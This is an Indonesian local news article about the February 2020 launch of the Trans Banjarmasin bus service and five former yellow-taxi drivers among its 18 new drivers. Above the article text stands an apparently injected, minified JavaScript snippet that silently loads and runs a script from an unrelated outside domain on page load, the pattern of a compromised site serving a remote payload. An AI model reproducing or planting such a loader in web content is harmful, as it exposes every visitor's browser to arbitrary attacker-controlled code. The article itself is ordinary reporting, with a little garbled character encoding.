(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

5 Sopir Taksi Kuning Jadi Driver Bus Trans Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Bus Trans Banjarmasin secara resmi diluncurkan oleh Walikota Banjarmasin H Ibnu Sina pada Senin (17/2/2020) pagi. Nantinya, bus ini akan dioperasikan oleh 18 driver (supir) yang terbagi dari tiga shift.

Kepala Dishub Kota Banjarmasin Ichwan Noor Chalik melalui Kasi Angkutan Orang Fajar Putra Nugroho mengungkapkan, dari 18 driver yang diseleksi dan dinyatakan lolos, lima di antaranya merupakan driver taksi Angkutan Kota (angkot) atau yang populer dengan sebutan taksi kuning. “Ada lima orang yang merupakan driver taksi kuning, tentunya yang memenuhi kriteria,” kaya Fajar.

Nah, salah satu dari lima driver yang sebelumnya merupakan driver taksi kuning adalah Rahman Hidayat (48). Kepada Kanalkalimantan.com, Rahman mengakui, penumpang taksi kuning saat ini tergolong sepi. Hal inilah yang mendorongnya untuk ikut serta dalam seleksi driver bus Trans Banjarmasin pada bulan Januari lalu.

Rahman Hidayat (48). Foto: Fikri

“Kita coba yang pasti saja. Tapi kita masih pegang (mengoperasikan) taksi kuning. Kalau yang pasti tadi maksudnya yang ada gaji lah,” kata Rahman. Diakuinya, jam kerja operasional bus Trans Banjarmasin lebih sedikit. Sehingga, membuatnya lebih fleksibel dalam mengatur waktu. “Perkiraan 4,5 jam lah. Paling lama 5 jam, karena tiga shift,” jelasnya.

Rahman bercerita, saat seleksi ia harus mengikuti berbagai tahapan. Salah satunya, tes tertulis di mana ada soal-soal tertulis yang harus dijawab. “Tapi persyaratan dulu yang diutamakan.Ã‚Â Yaitu harus punya SIM B1 Umum, kemudian surat keterangan bebas narkoba, dan juga umur,” papar Rahman. Rahman mengaku bangga menjadi satu di antara 18 driver bus Trans Banjarmasin. “Karena baru pertama kali,” tukas Rahman. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell